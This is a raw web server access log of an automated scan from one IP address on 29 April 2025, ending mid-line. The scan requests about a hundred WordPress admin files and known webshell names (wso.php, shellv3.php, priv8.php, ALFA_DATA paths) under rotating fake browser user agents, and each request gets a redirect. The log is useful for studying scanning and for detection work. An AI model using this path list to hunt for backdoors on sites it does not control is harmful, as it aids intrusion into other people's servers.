37.19.211.18 - - [29/Apr/2025:14:49:38 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:38 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:38 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:39 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:40 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:40 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:40 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:40 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:41 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:42 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:42 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:42 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:42 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:49:43 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:44 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:49:44 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:44 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:45 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:45 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:45 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:45 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:46 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:46 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:46 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:46 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:47 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:49:47 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:47 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:47 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:47 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:48 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:49:48 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:48 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:48 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:48 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:49 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:49 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:49 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:49 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:50 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:51 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:49:51 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:51 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:51 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:52 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:49:53 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:54 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:54 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:55 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:55 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:55 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:55 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:55 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:56 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:49:56 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:56 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:56 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:57 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:58 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:58 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:59 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:00 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:50:00 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:00 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:00 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:50:01 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:01 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:50:01 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:01 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:02 -0400] "GET /wp-admin/includes/plugins.php 